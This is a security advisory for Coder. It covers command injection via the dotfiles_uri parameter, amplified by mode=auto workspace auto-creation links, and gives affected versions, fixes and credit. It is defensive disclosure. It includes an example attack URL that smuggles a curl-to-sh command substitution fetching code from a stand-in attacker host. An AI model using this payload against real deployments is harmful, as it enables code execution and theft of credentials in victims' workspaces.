GHSA-m3cr-vc2j-pm27 Coder vulnerable to workspace auto-creation via crafted URL parameters without user consent

• Go github.com/coder/coder/v2: < 2.29.7 → fixed in 2.29.7 • Go github.com/coder/coder/v2: >= 2.30.0, < 2.30.2 → fixed in 2.30.2 • Go github.com/coder/coder: <= 0.27.3 (no fix yet)

Command injection via dotfiles URI parameter combined with workspace auto-creation Summary The `dotfiles` registry module passed unsanitized user input to shell commands, allowing arbitrary code execution inside a provisioned workspace. Any user who supplied a crafted `dotfiles_uri` value (for example, one containing shell command substitution such as `$(...)`) could achieve command execution in their own workspace. The Create Workspace page's `mode=auto` deep links amplified this into a one-click attack: an attacker could craft a URL that prefilled `param.dotfiles_uri` and silently provisioned a workspace with the attacker-controlled value, with no explicit user confirmation. Details Command injection in the dotfiles module (root cause) The dotfiles module interpolated the user-provided `dotfiles_uri` value directly into a shell script and executed it without input validation. Because the value was expanded by the shell, payloads using command substitution (`$(...)`), command separators (`;`, `|`, `&&`), or backticks were interpreted before the `coder dotfiles` CLI was invoked. The Coder CLI itself uses `exec.CommandContext()` with an argument array and is not vulnerable; the injection occurred earlier, during shell expansion inside the module. As a result, a user who entered a crafted `dotfiles_uri` obtained arbitrary code execution in their workspace, even without `mode=auto`. Auto-creation amplification (`mode=auto`) The Create Workspace page supported a `mode=auto` query parameter that, combined with `param.*` URL parameters, automatically created a workspace on page load without displaying a confirmation prompt. An attacker could craft a malicious URL pointing to a victim's Coder deployment and set arbitrary template parameter values (for example, `param.dotfiles_uri`). When an authenticated user clicked the link, the workspace was created immediately with the attacker-supplied parameters, turning the command injection above into a one-click, no-consent attack. Example URL: ``` https:///templates//workspace?mode=auto&param.dotfiles_uri=foo$(curl https://attacker.example/x | sh).com ``` Impact Arbitrary code execution inside the victim's workspace. Depending on the workspace's privileges, this may expose Git credentials, secrets, and workspace files, and can provide a foothold for lateral movement. With `mode=auto`, exploitation required only that an authenticated user click an attacker-supplied link to a template that uses the dotfiles module. Patches coder/registry (primary fix) Input validation was added to the dotfiles module to reject URIs and usernames containing special characters, and the unsafe `eval`/`sh -c` usage was removed. This eliminates the command injection at its source. • https://github.com/coder/registry/pull/703 coder/coder (defense-in-depth) A consent dialog was added that displays all prefilled `param.*` values and blocks creation until the user explicitly clicks Confirm and Create. This removes the `mode=auto` one-click amplification vector. • Fix commit: https://github.com/coder/coder/commit/60e3ab7632f42415d283b9fd5622ee53a4639ceb (PR #22011) • Patched releases: • v2.29.7 (ESR) • v2.30.2 (mainline) Recognition We'd like to thank Aviv Donenfeld for responsibly disclosing this issue in accordance with https://coder.com/security/policy